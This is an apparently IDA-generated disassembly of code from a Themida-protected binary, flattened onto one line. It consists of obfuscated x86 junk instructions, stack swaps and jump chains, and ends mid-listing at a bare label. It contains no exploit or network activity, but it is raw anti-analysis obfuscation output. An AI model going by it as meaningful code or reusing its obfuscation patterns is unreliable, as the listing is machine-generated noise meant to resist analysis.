sub edi, 79CE3002h add edi, eax add edi, 79CE3002h push dword ptr [esp] jmp loc_56D5C4 ; --------------------------------------------------------------------------- loc_55ED12: ; CODE XREF: Themida_:0056176Ej push eax jmp loc_564F39 ; --------------------------------------------------------------------------- loc_55ED18: ; CODE XREF: Themida_:00560C6Cj mov [esp], ebx jmp loc_56981B ; --------------------------------------------------------------------------- loc_55ED20: ; CODE XREF: Themida_:0056249Cj pop esi mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 jmp loc_569B7F ; --------------------------------------------------------------------------- loc_55ED36: ; CODE XREF: Themida_:00561777j pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_56863A ; --------------------------------------------------------------------------- loc_55ED4C: ; CODE XREF: Themida_:0055E5ACj push dword ptr [esp] pop ecx sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_561437 ; --------------------------------------------------------------------------- loc_55ED65: ; CODE XREF: Themida_:00570187j pop edx push eax jmp loc_56B856 ; --------------------------------------------------------------------------- loc_55ED6C: ; CODE XREF: Themida_:0055FAD5j pop eax xor dh, ch pop ecx sub al, dh pop edx push edx sub esp, 4 mov [esp], eax mov ah, 2Eh add ah, 0B7h shl ah, 4 not ah dec ah not ah inc ah push edx jmp loc_566DE3 ; --------------------------------------------------------------------------- loc_55ED90: ; CODE XREF: Themida_:00571332j pop edx jmp loc_56DA18 ; --------------------------------------------------------------------------- loc_55ED96: ; CODE XREF: Themida_:0056216Dj pop edi xchg edx, [esp] pop esp mov [esp], eax push 78B24489h jmp loc_56C83D ; --------------------------------------------------------------------------- loc_55EDA8: ; CODE XREF: Themida_:00563F26j and edx, 442A1198h and edx, 5DD607ACh push ecx mov ecx, 87691900h push eax mov eax, 75946155h add edx, 7A32616Ah sub edx, eax jmp loc_560AEB ; --------------------------------------------------------------------------- loc_55EDCD: ; CODE XREF: Themida_:0056C8BFj add eax, edx pop edx push ecx jmp loc_5643FE ; --------------------------------------------------------------------------- loc_55EDD6: ; CODE XREF: Themida_:0056E208j pop esi sub esp, 4 mov [esp], esi mov esi, 42826C9Fh jmp loc_560896 ; --------------------------------------------------------------------------- loc_55EDEA: ; CODE XREF: Themida_:00561888j push ecx mov ecx, 4 sub edx, ecx pop ecx xchg edx, [esp] pop esp mov [esp], esi push edx mov edx, 7D42328Bh dec edx neg edx jmp loc_56C60A ; --------------------------------------------------------------------------- loc_55EE08: ; CODE XREF: Themida_:00568FACj mov edi, 2A805825h add edi, 0DD7C1855h jmp loc_56DD2F ; --------------------------------------------------------------------------- loc_55EE18: ; CODE XREF: Themida_:00567F42j pop edx sub ecx, 7B6FF913h push ecx pop ebx jmp loc_568A70 ; --------------------------------------------------------------------------- loc_55EE26: ; CODE XREF: Themida_:00572359j sub esp, 4 sub esp, 4 jmp loc_56B5E0 ; --------------------------------------------------------------------------- loc_55EE34: ; CODE XREF: Themida_:005652D5j mov edi, [esp] jmp loc_568B3E ; --------------------------------------------------------------------------- loc_55EE3C: ; CODE XREF: Themida_:005646C0j add edx, edi sub edx, 56AA70DAh pop edi and edx, 3F160B63h sub esp, 4 jmp loc_567FB0 ; --------------------------------------------------------------------------- loc_55EE53: ; CODE XREF: Themida_:005703EFj xor [esp], edi xor edi, [esp] pop esp jmp loc_5683DF ; --------------------------------------------------------------------------- loc_55EE5F: ; CODE XREF: Themida_:00568446j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55EE64: ; CODE XREF: Themida_:00561CEFj push esp pop edi push edx mov edx, 4 add edi, 54F6163Dh add edi, 7E3868F6h add edi, edx jmp loc_569C1D ; --------------------------------------------------------------------------- loc_55EE7F: ; CODE XREF: Themida_:0056C65Dj add esp, 4 sub ecx, edx mov edx, [esp] add esp, 4 pop edx add ecx, 4 xchg ecx, [esp] jmp loc_56B794 ; --------------------------------------------------------------------------- loc_55EE99: ; CODE XREF: Themida_:005663B3j xchg ecx, [esp] pop esp push dword ptr [esp] pop edi push eax jmp loc_56652B ; --------------------------------------------------------------------------- loc_55EEA7: ; CODE XREF: Themida_:005627B3j mov edx, 132F02F3h sub edx, 0D8529EFAh or ecx, edx jmp loc_56194D ; --------------------------------------------------------------------------- loc_55EEB9: ; CODE XREF: Themida_:00563D9Dj xchg ebx, [esp] mov esp, [esp] jmp loc_56272F ; --------------------------------------------------------------------------- loc_55EEC4: ; CODE XREF: Themida_:00564691j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55EEC9: ; CODE XREF: Themida_:00562B96j add ebp, esi jmp loc_56EEF5 ; --------------------------------------------------------------------------- loc_55EED0: ; CODE XREF: Themida_:0056415Ej sub ebx, 2E3B5A49h push ebp mov ebp, 293C05E3h sub ebx, 5B6D25BFh sub ebx, ebp jmp loc_567273 ; --------------------------------------------------------------------------- loc_55EEE9: ; CODE XREF: Themida_:0056D543j shl al, 3 sub al, 0E0h jmp loc_564475 ; --------------------------------------------------------------------------- loc_55EEF3: ; CODE XREF: Themida_:0055FF4Ej mov ebp, [esp] add esp, 4 jmp loc_55DBB7 ; --------------------------------------------------------------------------- loc_55EF01: ; CODE XREF: Themida_:0056E66Dj sub ebp, 1C2D406Dh add eax, ebp pop ebp jmp loc_56F931 ; --------------------------------------------------------------------------- loc_55EF0F: ; CODE XREF: Themida_:00569E9Fj pop esi add esi, 1 jmp loc_565BC9 ; --------------------------------------------------------------------------- loc_55EF1B: ; CODE XREF: Themida_:0056630Cj xchg ecx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push 4AAFh jmp loc_569CB2 ; --------------------------------------------------------------------------- loc_55EF2F: ; CODE XREF: Themida_:005700F6j sub [esp], eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55EF38: ; CODE XREF: Themida_:005623C0j sub edx, 1 push edi jmp loc_570059 ; --------------------------------------------------------------------------- loc_55EF41: ; CODE XREF: Themida_:0055E70Bj sub ecx, 4F9D712Ch mov esi, [esp] add esp, 4 push eax mov eax, 0F22A6Fh add eax, 2010730Ah jmp loc_56D02E ; --------------------------------------------------------------------------- loc_55EF60: ; CODE XREF: Themida_:0056DA44j push ebp sub dword ptr [esp], 288A0E14h pop eax push 0E1Eh mov [esp], edi mov edi, 7FB865CAh inc edi sub edi, 23084DA8h and edi, 2BCF639Ah xor edi, 200A0E16h add eax, edi pop edi jmp loc_56F7DB ; --------------------------------------------------------------------------- loc_55EF91: ; CODE XREF: Themida_:00560C3Aj xchg esi, [esp] pop esp jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55EF9A: ; CODE XREF: Themida_:0055FD66j not bl push edx mov dh, bl mov bl, [esp+5] jmp loc_55DB2C ; --------------------------------------------------------------------------- loc_55EFA8: ; CODE XREF: Themida_:005672B2j sub ebp, 11D76776h pop esi jmp loc_56A212 ; --------------------------------------------------------------------------- loc_55EFB4: ; CODE XREF: Themida_:0056E122j xor dl, 0EAh add al, dl pop edx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 add al, bl push 6532h mov [esp], ebx mov bl, 0CFh dec bl dec bl push ecx jmp loc_564C42 ; --------------------------------------------------------------------------- loc_55EFDC: ; CODE XREF: Themida_:005600F4j push ebx push ebp mov ebp, 2 mov ebx, ebp pop ebp add eax, ebx push dword ptr [esp] pop ebx push ebx push esp pop ebx add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx jmp loc_56B392 ; --------------------------------------------------------------------------- loc_55F003: ; CODE XREF: Themida_:005674F2j pop ecx jmp loc_564AF7 ; --------------------------------------------------------------------------- loc_55F009: ; CODE XREF: Themida_:0055DF24j add ebx, 1 add ebx, 0A09F8F21h jmp loc_562B04 ; --------------------------------------------------------------------------- loc_55F01A: ; CODE XREF: Themida_:00562E2Dj mov ebx, [esp] add esp, 4 sub ch, 4 push ebx jmp loc_56B925 ; --------------------------------------------------------------------------- loc_55F029: ; CODE XREF: Themida_:0056C4AEj mov ebx, 62BE0454h sub dword ptr [esp+4], 61D912F9h add [esp+4], ebx jmp loc_57152E ; --------------------------------------------------------------------------- loc_55F03F: ; CODE XREF: Themida_:005695FAj mov ebp, 1A040749h jmp loc_5677EE ; --------------------------------------------------------------------------- loc_55F049: ; CODE XREF: Themida_:00572222j push eax jmp loc_5676D3 ; --------------------------------------------------------------------------- loc_55F04F: ; CODE XREF: Themida_:00566CF4j mov eax, [esp] jmp loc_55DFDF ; --------------------------------------------------------------------------- loc_55F057: ; CODE XREF: Themida_:0056FE22j push 4 jmp loc_567553 ; --------------------------------------------------------------------------- loc_55F061: ; CODE XREF: Themida_:0055E277j mov edx, 4 jmp loc_56DD5C ; --------------------------------------------------------------------------- loc_55F06B: ; CODE XREF: Themida_:005725D5j dec eax not eax xor eax, 0F0CFBF09h jmp loc_5661B5 ; --------------------------------------------------------------------------- loc_55F078: ; CODE XREF: Themida_:0056793Ej mov [esp], esi jmp loc_55E370 ; --------------------------------------------------------------------------- loc_55F080: ; CODE XREF: Themida_:00569A5Bj or ecx, edi jmp loc_5700B4 ; --------------------------------------------------------------------------- loc_55F087: ; CODE XREF: Themida_:005722C5j pop ebx jmp loc_55E5BB ; --------------------------------------------------------------------------- loc_55F08D: ; CODE XREF: Themida_:0055E514j push eax mov eax, 3C4E35C6h xor eax, 3C4E35C2h add ebx, eax pop eax jmp loc_55F28B ; --------------------------------------------------------------------------- loc_55F0A0: ; CODE XREF: Themida_:0057145Dj sub esp, 2 mov [esp], dx mov dh, 5Dh or ch, dh pop dx shr ch, 1 neg ch xor ch, 0F0h jmp loc_561592 ; --------------------------------------------------------------------------- loc_55F0B9: ; CODE XREF: Themida_:0056531Fj mov edi, esp add edi, 4 push edx push ecx push eax mov eax, 5E1F41ADh inc eax add eax, 0B0E62C80h push eax jmp loc_563D64 ; --------------------------------------------------------------------------- loc_55F0D5: ; CODE XREF: Themida_:00561E7Fj pop ebp jmp loc_562656 ; --------------------------------------------------------------------------- loc_55F0DB: ; CODE XREF: Themida_:00560CA1j mov ecx, [esp] push esi jmp loc_569040 ; --------------------------------------------------------------------------- loc_55F0E4: ; CODE XREF: Themida_:00560B56j pop edi push 1A0h mov [esp], ebx mov ebx, 74D45555h jmp loc_56ABB2 ; --------------------------------------------------------------------------- loc_55F0F7: ; CODE XREF: Themida_:00568109j pop ebx jmp loc_563120 ; --------------------------------------------------------------------------- loc_55F0FD: ; CODE XREF: Themida_:0056FFEDj or edx, ecx jmp loc_560AB4 ; --------------------------------------------------------------------------- loc_55F104: ; CODE XREF: Themida_:0055FF27j add esp, 4 shr edx, 1 jmp loc_56C005 ; --------------------------------------------------------------------------- loc_55F10E: ; CODE XREF: Themida_:0056EAFBj dec ebp or ebp, 2AA01299h dec ebp jmp loc_560A9B ; --------------------------------------------------------------------------- loc_55F11B: ; CODE XREF: Themida_:00564C2Ej add esp, 4 push eax push 50BCh mov [esp], esp add dword ptr [esp], 4 jmp loc_562FCF ; --------------------------------------------------------------------------- loc_55F133: ; CODE XREF: Themida_:00563E24j mov eax, [esp] add esp, 4 mov dh, ch pop ecx jmp loc_568F3E ; --------------------------------------------------------------------------- loc_55F141: ; CODE XREF: Themida_:00568A5Dj push edi dec dword ptr [esp] push dword ptr [esp] jmp loc_564E27 ; --------------------------------------------------------------------------- loc_55F14D: ; CODE XREF: Themida_:00564EDCj jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55F152: ; CODE XREF: Themida_:0055E47Cj mov dh, 3Ah neg dh not dh and dh, 0C1h add dh, 35h sub dh, 9Dh add al, 8Ch sub al, dh sub al, 8Ch pop edx xor al, 50h mov dl, al pop eax jmp loc_56EF22 ; --------------------------------------------------------------------------- loc_55F172: ; CODE XREF: Themida_:00563E53j xchg ebx, [esp] jmp loc_561DDB ; --------------------------------------------------------------------------- loc_55F17A: ; CODE XREF: Themida_:00563BF6j shr edi, 4 sub edi, 1E813CBBh push ecx mov ecx, 1ADE6152h jmp loc_571A47 ; --------------------------------------------------------------------------- loc_55F18E: ; CODE XREF: Themida_:0055E9C6j mov esp, [esp] test cl, al pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55F199: ; CODE XREF: Themida_:0056529Aj mov edx, esp push esi push ecx push esi mov esi, 66870201h mov ecx, 0CBDB6F07h sub ecx, esi pop esi mov esi, 7FE95B9h sub esi, 17DA49EEh add esi, ecx push ecx mov ecx, 17DA49EEh jmp loc_560FC6 ; --------------------------------------------------------------------------- loc_55F1C3: ; CODE XREF: Themida_:0056DADBj pop esp and eax, 69B62BE3h jmp loc_56B241 ; --------------------------------------------------------------------------- loc_55F1CE: ; CODE XREF: Themida_:0056CAA0j mov ecx, esp jmp loc_56F9DD ; --------------------------------------------------------------------------- loc_55F1D5: ; CODE XREF: Themida_:0056358Ej add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ebx jmp loc_56045A ; --------------------------------------------------------------------------- loc_55F1E5: ; CODE XREF: Themida_:0056FA8Dj push 1E95h mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] jmp loc_56B738 ; --------------------------------------------------------------------------- loc_55F202: ; CODE XREF: Themida_:0055E4B8j pop dword ptr [esp] push ebp mov ebp, 4 push edx mov edx, 44801825h jmp loc_56035E ; --------------------------------------------------------------------------- loc_55F216: ; CODE XREF: Themida_:0055F976j and esi, 210F0ED4h jmp loc_567A17 ; --------------------------------------------------------------------------- loc_55F221: ; CODE XREF: Themida_:00567AC7j add ebx, 37FC3DC6h mov esi, [esp] add esp, 4 sub ebp, ebx pop ebx sub ebp, 5E50501Fh add edi, ebp pop ebp add edi, 4 jmp loc_55E492 ; --------------------------------------------------------------------------- loc_55F244: ; CODE XREF: Themida_:00570842j pop edx xor esi, 77162D9Bh jmp loc_560CFC ; --------------------------------------------------------------------------- loc_55F250: ; CODE XREF: Themida_:0056AD11j add ebx, 0CA63343Fh add edi, ebx jmp loc_567305 ; --------------------------------------------------------------------------- loc_55F25D: ; CODE XREF: Themida_:0056DCB4j xor eax, [esp] pop esp mov [esp], ecx mov ecx, esp push edi push edx mov edx, 4 push 4E84h mov [esp], edx jmp loc_55DE51 ; --------------------------------------------------------------------------- loc_55F27A: ; CODE XREF: Themida_:005678B9j add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_55FF7B ; --------------------------------------------------------------------------- loc_55F28B: ; CODE XREF: Themida_:0055F09Bj add ebx, 4 xchg ebx, [esp] pop esp xor eax, [esp] jmp loc_56361B ; --------------------------------------------------------------------------- loc_55F29D: ; CODE XREF: Themida_:0056343Aj push 3373h mov [esp], eax push ebx push esi mov esi, 0C0443D9Ch mov ebx, esi mov esi, [esp] add esp, 4 mov eax, ebx jmp loc_5716EC ; --------------------------------------------------------------------------- loc_55F2BE: ; CODE XREF: Themida_:0055E379j push ebx mov ebx, 687123C4h mov esi, 687123C8h sub esi, 328131E7h push ebp mov ebp, 4A7B1BB5h jmp loc_562F07 ; --------------------------------------------------------------------------- loc_55F2DA: ; CODE XREF: Themida_:0055DABAj mov esi, 36C44468h mov edi, esi pop esi inc edi inc edi neg edi sub edi, 84F3AC9Ch jmp loc_561ECF ; --------------------------------------------------------------------------- loc_55F2F1: ; CODE XREF: Themida_:00570B7Cj pop ebp sub esp, 4 mov [esp], ebx mov ebx, 4E313165h sub ebx, 6FFC7C38h xchg ecx, ebx push ecx not dword ptr [esp] pop ecx jmp loc_55EB60 ; --------------------------------------------------------------------------- loc_55F312: ; CODE XREF: Themida_:00562228j mov edx, 4 add ecx, 51EE0274h jmp loc_56AF4A ; --------------------------------------------------------------------------- loc_55F322: ; CODE XREF: Themida_:00560851j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55F327: ; CODE XREF: Themida_:00567831j sub esp, 4 jmp loc_57190F ; --------------------------------------------------------------------------- loc_55F332: ; CODE XREF: Themida_:00563670j mov esp, [esp] jmp loc_56EB47 ; --------------------------------------------------------------------------- loc_55F33A: ; CODE XREF: Themida_:0056EDD5j mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ecx mov cl, 0C3h sub bl, 0CCh add bl, cl add bl, 0CCh mov ecx, [esp] add esp, 4 jmp loc_5662C2 ; --------------------------------------------------------------------------- loc_55F36F: ; CODE XREF: Themida_:0056EDEBj pop eax pop ecx jmp loc_55FF59 ; --------------------------------------------------------------------------- loc_55F376: ; CODE XREF: Themida_:00566572j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] movsx cx, al push 18D7h mov [esp], ecx sub esp, 4 jmp loc_55E61B ; --------------------------------------------------------------------------- loc_55F396: ; CODE XREF: Themida_:00565D33j sub edi, 337C777Ch xor edi, 13737D42h sub edi, 85053A5Bh mov eax, edi jmp loc_561184 ; --------------------------------------------------------------------------- loc_55F3AF: ; CODE XREF: Themida_:00569B02j push ecx mov cl, ah mov bl, cl pop ecx mov cl, bl pop ebx jmp loc_571977 ; --------------------------------------------------------------------------- loc_55F3BD: ; CODE XREF: Themida_:00564D14j shl esi, 7 sub esi, 1 xor esi, 0BCA90DCAh jmp loc_56F0A7 ; --------------------------------------------------------------------------- loc_55F3D1: ; CODE XREF: Themida_:00564537j and ebp, 7801493h or ebp, 6DC0174Dh jmp loc_5606BA ; --------------------------------------------------------------------------- loc_55F3E2: ; CODE XREF: Themida_:00561D7Aj add esp, 4 add esp, 4 jmp loc_56D979 ; --------------------------------------------------------------------------- loc_55F3F0: ; CODE XREF: Themida_:0055D86Ej push 60A2h mov [esp], ecx push eax jmp loc_5651EF ; --------------------------------------------------------------------------- loc_55F3FE: ; CODE XREF: Themida_:0056B1BCj add ebx, 8DFDF272h push ebp push ebx mov ebx, 3C242A19h mov ebp, ebx pop ebx sub esi, ebp mov ebp, [esp] add esp, 4 sub esi, 62F974B7h jmp loc_567E8E ; --------------------------------------------------------------------------- loc_55F421: ; CODE XREF: Themida_:005647A3j push esi push 7DCAh mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 push edx mov edx, 4 add esi, edx pop edx xor esi, [esp] jmp loc_563118 ; --------------------------------------------------------------------------- loc_55F446: ; CODE XREF: Themida_:0056D87Aj mov [esp], ebx mov ebx, esp push eax push esp pop eax jmp loc_560F27 ; --------------------------------------------------------------------------- loc_55F453: ; CODE XREF: Themida_:00568B33j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_569F8F ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp push 7307h jmp loc_565D07 ; --------------------------------------------------------------------------- loc_55F47B: ; CODE XREF: Themida_:00570B94j add dh, 4Dh sub dh, bh jmp loc_56D8BD ; --------------------------------------------------------------------------- loc_55F485: ; CODE XREF: Themida_:0056FC99j push 1C1h mov [esp], edx mov edx, 15A7F2Bh add ecx, edx mov edx, [esp] add esp, 4 jmp loc_56637F ; --------------------------------------------------------------------------- loc_55F4A2: ; CODE XREF: Themida_:0056C0C9j add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5713E1 ; --------------------------------------------------------------------------- loc_55F4B6: ; CODE XREF: Themida_:0056E476j mov ebx, esp jmp loc_56B36A ; --------------------------------------------------------------------------- loc_55F4BD: ; CODE XREF: Themida_:00563A00j pop ecx add esp, 4 or esi, ebp jmp loc_562A06 ; --------------------------------------------------------------------------- loc_55F4C8: ; CODE XREF: Themida_:0056CFEDj push ebp mov ebp, 4 jmp loc_564C33 ; --------------------------------------------------------------------------- loc_55F4D3: ; CODE XREF: Themida_:0056DD2Aj push esi push 695A6681h pop esi dec esi and esi, 4CB8580Dh inc esi jmp loc_5698E5 ; --------------------------------------------------------------------------- loc_55F4E7: ; CODE XREF: Themida_:0056F8A7j xor eax, edx jmp loc_55E1B6 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx sub esp, 4 mov [esp], ebx push ecx mov ecx, 1C414C5Dh jmp loc_5645AE ; --------------------------------------------------------------------------- loc_55F50B: ; CODE XREF: Themida_:0056B52Fj and ebx, 60165AC3h jmp loc_569256 ; --------------------------------------------------------------------------- loc_55F516: ; CODE XREF: Themida_:0055E1D9j add esi, 4 xchg esi, [esp] pop esp xchg ebp, [esp] mov esp, [esp] mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push edi push 1E994546h jmp loc_55E129 ; --------------------------------------------------------------------------- loc_55F538: ; CODE XREF: Themida_:00565246j add esp, 4 push esi push ecx mov ecx, 69E52C80h shl ecx, 1 jmp loc_56B9AF ; --------------------------------------------------------------------------- loc_55F549: ; CODE XREF: Themida_:0056ABE9j mov ecx, edi pop edi add esi, ecx mov ecx, [esp] add esp, 4 add esi, 4 jmp loc_569DD5 ; --------------------------------------------------------------------------- loc_55F55F: ; CODE XREF: Themida_:00571ADDj sub esi, edi jmp loc_5703CA ; --------------------------------------------------------------------------- loc_55F566: ; CODE XREF: Themida_:00564577j sub ebx, 0D83F85ECh sub edx, ebx jmp loc_56FC46 ; --------------------------------------------------------------------------- loc_55F573: ; CODE XREF: Themida_:005692A9j push ecx mov ecx, 5A0B16D8h xor ecx, 36097E28h jmp loc_56157F ; --------------------------------------------------------------------------- loc_55F584: ; CODE XREF: Themida_:005694C7j mov [esp], eax push esp mov eax, [esp] add esp, 4 add eax, 4 jmp loc_56FB7F ; --------------------------------------------------------------------------- loc_55F598: ; CODE XREF: Themida_:00570205j xchg esi, [esp] pop esp sub al, dl pop edx sub esp, 2 mov [esp], bx jmp loc_55DBF4 ; --------------------------------------------------------------------------- loc_55F5AE: ; CODE XREF: Themida_:0056A102j mov [esp], ecx push ebp push 4C8D13E6h pop ebp mov ecx, 0B372EC1Eh sub ecx, 11567F12h jmp loc_56B77C ; --------------------------------------------------------------------------- loc_55F5C8: ; CODE XREF: Themida_:0057010Fj push 4731h mov [esp], edx push esi mov esi, 101C0A45h push ebp jmp loc_56A78A ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_569BFE ; --------------------------------------------------------------------------- loc_55F5E5: ; CODE XREF: Themida_:0056CF3Aj push edi mov edi, esp jmp loc_56BDB8 ; --------------------------------------------------------------------------- loc_55F5ED: ; CODE XREF: Themida_:0056F3C5j pop ecx add ebx, edi jmp loc_565E9B ; --------------------------------------------------------------------------- loc_55F5F5: ; CODE XREF: Themida_:00560A78j push 35077A66h pop eax xor eax, 20100459h mov esi, eax jmp loc_5722AE ; --------------------------------------------------------------------------- loc_55F607: ; CODE XREF: Themida_:0056CA98j sub al, ch sub al, 6Eh sub esp, 2 mov [esp], dx mov dl, 85h add al, dl mov dx, [esp] add esp, 2 jmp loc_571444 ; --------------------------------------------------------------------------- loc_55F628: ; CODE XREF: Themida_:0055F95Cj pop ebx jmp loc_569C05 ; --------------------------------------------------------------------------- loc_55F62E: ; CODE XREF: Themida_:00560C9Aj pop edx sub esi, 0BA82FBEFh add eax, esi jmp loc_56E1BD ; --------------------------------------------------------------------------- loc_55F63C: ; CODE XREF: Themida_:0056C341j push 6F84h mov [esp], edx push 11A8h mov [esp], esi push 2A3802D5h pop esi xor esi, 2A380AD5h mov edx, esi pop esi jmp loc_55DB49 ; --------------------------------------------------------------------------- loc_55F660: ; CODE XREF: Themida_:0056492Ej push ecx mov ecx, 43067Dh xor ecx, offset unk_430679 add eax, 5D3E0218h add eax, ecx sub eax, 5D3E0218h pop ecx jmp loc_569542 ; --------------------------------------------------------------------------- loc_55F67E: ; CODE XREF: Themida_:0055DC0Cj add edx, 5CD25A4Bh sub edx, 105F57C0h add edx, eax add edx, 105F57C0h sub edx, 5CD25A4Bh add edx, 24A726Fh sub esp, 4 jmp loc_55D932 ; --------------------------------------------------------------------------- loc_55F6A6: ; CODE XREF: Themida_:0056BEEBj sub ebx, eax pop eax add ebx, 2BAD6170h jmp loc_56F406 ; --------------------------------------------------------------------------- loc_55F6B4: ; CODE XREF: Themida_:0056D223j xor ebx, esi pop esi push esi mov esi, ebx mov ecx, esi jmp loc_5618FF ; --------------------------------------------------------------------------- loc_55F6C1: ; CODE XREF: Themida_:0057009Cj sub eax, 179A0AA5h add eax, edi add eax, 179A0AA5h sub eax, 72F56D00h mov ecx, [eax] mov eax, [esp] jmp loc_565C59 ; --------------------------------------------------------------------------- loc_55F6DC: ; CODE XREF: Themida_:005639E5j sub esp, 4 mov [esp], esi jmp loc_56AA91 ; --------------------------------------------------------------------------- loc_55F6E7: ; CODE XREF: Themida_:0056E3ABj mov ecx, 7C1640B7h shl ecx, 6 push 344Ch mov [esp], ebx mov ebx, 3ABD0CA6h jmp loc_55FA99 ; --------------------------------------------------------------------------- loc_55F701: ; CODE XREF: Themida_:005727DAj push bx jmp loc_5638D4 ; --------------------------------------------------------------------------- loc_55F708: ; CODE XREF: Themida_:00571E22j add edx, 4 add edx, 4 xchg edx, [esp] pop esp add ecx, edi pop edi xchg ecx, [esp] jmp loc_56B53C ; --------------------------------------------------------------------------- loc_55F723: ; CODE XREF: Themida_:0056AEDBj sub eax, edi pop edi jmp loc_55FAF5 ; --------------------------------------------------------------------------- loc_55F72B: ; CODE XREF: Themida_:00562DB7j add esi, 3EC87F8Dh jmp loc_56E20D ; --------------------------------------------------------------------------- lodsd jmp loc_561F64 ; --------------------------------------------------------------------------- loc_55F73C: ; CODE XREF: Themida_:0056E4C2j add esp, 4 push eax push dword ptr [esp] mov edx, [esp] add esp, 4 push eax push 5341h mov [esp], esp jmp loc_568F5D ; --------------------------------------------------------------------------- loc_55F75D: ; CODE XREF: Themida_:005632C6j push 1730h mov [esp], esp push eax mov eax, 4 add [esp+4], eax pop eax pop ecx push ebx push edi push 6D9F5699h jmp loc_569BC8 ; --------------------------------------------------------------------------- loc_55F77D: ; CODE XREF: Themida_:005715F7j xchg ebx, [esp] jmp loc_56ECA3 ; --------------------------------------------------------------------------- loc_55F785: ; CODE XREF: Themida_:0056695Aj add esp, 4 sub esp, 4 jmp loc_56D56A ; --------------------------------------------------------------------------- loc_55F793: ; CODE XREF: Themida_:00565C3Aj push 2E3629D2h jmp loc_56AD57 ; --------------------------------------------------------------------------- loc_55F79D: ; CODE XREF: Themida_:00562F11j add ebp, ecx mov ecx, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] add esp, 4 jmp loc_565108 ; --------------------------------------------------------------------------- loc_55F7B3: ; CODE XREF: Themida_:00564936j xor ebx, [esp] pop esp movsx ecx, al push 2C85h mov [esp], ecx jmp loc_55D86D ; --------------------------------------------------------------------------- loc_55F7C7: ; CODE XREF: Themida_:005703A8j mov edi, 4 add eax, 39B2161Ch add eax, edi jmp loc_562117 ; --------------------------------------------------------------------------- loc_55F7D8: ; CODE XREF: Themida_:0056C1CDj sub ecx, 80481D7Ch sub ebx, 14B20FC9h sub ebx, ecx add ebx, 14B20FC9h pop ecx jmp loc_56B9CC ; --------------------------------------------------------------------------- loc_55F7F2: ; CODE XREF: Themida_:00571F22j mov [esp], edx push 8410673h pop edx and edx, 3D037E0Ch shl edx, 3 sub esp, 4 mov [esp], ecx mov ecx, 8CE7833h xor edx, ecx pop ecx jmp loc_56A6E8 ; --------------------------------------------------------------------------- loc_55F817: ; CODE XREF: Themida_:0056A54Bj xor esi, 5F317013h mov edi, esi pop esi push ecx mov ecx, 526616E7h add [esp+8], ecx pop ecx jmp loc_56D584 ; --------------------------------------------------------------------------- loc_55F830: ; CODE XREF: Themida_:00561808j push ecx push dword ptr [esp+4] mov ecx, [esp] jmp loc_55E448 ; --------------------------------------------------------------------------- loc_55F83D: ; CODE XREF: Themida_:005633C1j push ebx mov ebx, 440B755Fh jmp loc_56F4AC ; --------------------------------------------------------------------------- loc_55F848: ; CODE XREF: Themida_:0055DFD0j inc ah xchg ah, bl shr bl, 4 jmp loc_560F53 ; --------------------------------------------------------------------------- loc_55F854: ; CODE XREF: Themida_:0056A180j add ebp, 12ED0069h sub ebp, eax sub ebp, 12ED0069h xchg eax, ebp jmp loc_5679A7 ; --------------------------------------------------------------------------- loc_55F868: ; CODE XREF: Themida_:005667D0j add ecx, 4 jmp loc_55FBC8 ; --------------------------------------------------------------------------- loc_55F870: ; CODE XREF: Themida_:00561D1Aj pop esi xchg eax, [esp] mov esp, [esp] push eax mov eax, 0FFFFFFFFh jmp loc_565DAB ; --------------------------------------------------------------------------- loc_55F882: ; CODE XREF: Themida_:00565BB9j pop esp push 6E4Eh mov [esp], edi push ebx mov ebx, 19CF1400h or ebx, 477C2922h jmp loc_572376 ; --------------------------------------------------------------------------- loc_55F89C: ; CODE XREF: Themida_:0056BFA7j add esi, 4 xchg esi, [esp] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_563DAB ; --------------------------------------------------------------------------- loc_55F8BA: ; CODE XREF: Themida_:00560AFBj xor esi, edx pop edx add ebx, 293C05E3h add ebx, 2E3B5A49h jmp loc_56415C ; --------------------------------------------------------------------------- loc_55F8CE: ; CODE XREF: Themida_:0056EA48j mov [esp], eax mov eax, 4823908h shr eax, 1 jmp loc_56697C ; --------------------------------------------------------------------------- loc_55F8DD: ; CODE XREF: Themida_:00565E96j add ecx, edx sub ecx, 46D22D63h mov edx, [esp] jmp loc_56808E ; --------------------------------------------------------------------------- loc_55F8ED: ; CODE XREF: Themida_:0056BDE7j add edi, 1E014A32h add edi, esi sub edi, 1E014A32h sub edi, 3D011847h jmp loc_56EABC ; --------------------------------------------------------------------------- loc_55F906: ; CODE XREF: Themida_:005623B5j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp rep movsd add esp, [edx+38h] mov dword ptr [edx+38h], 1C86301Eh push 74DFh mov [esp], eax mov eax, 38h jmp loc_56DE81 ; --------------------------------------------------------------------------- loc_55F936: ; CODE XREF: Themida_:005624AEj pop ecx xor bx, ax movzx eax, ax jmp loc_564DF0 ; --------------------------------------------------------------------------- loc_55F942: 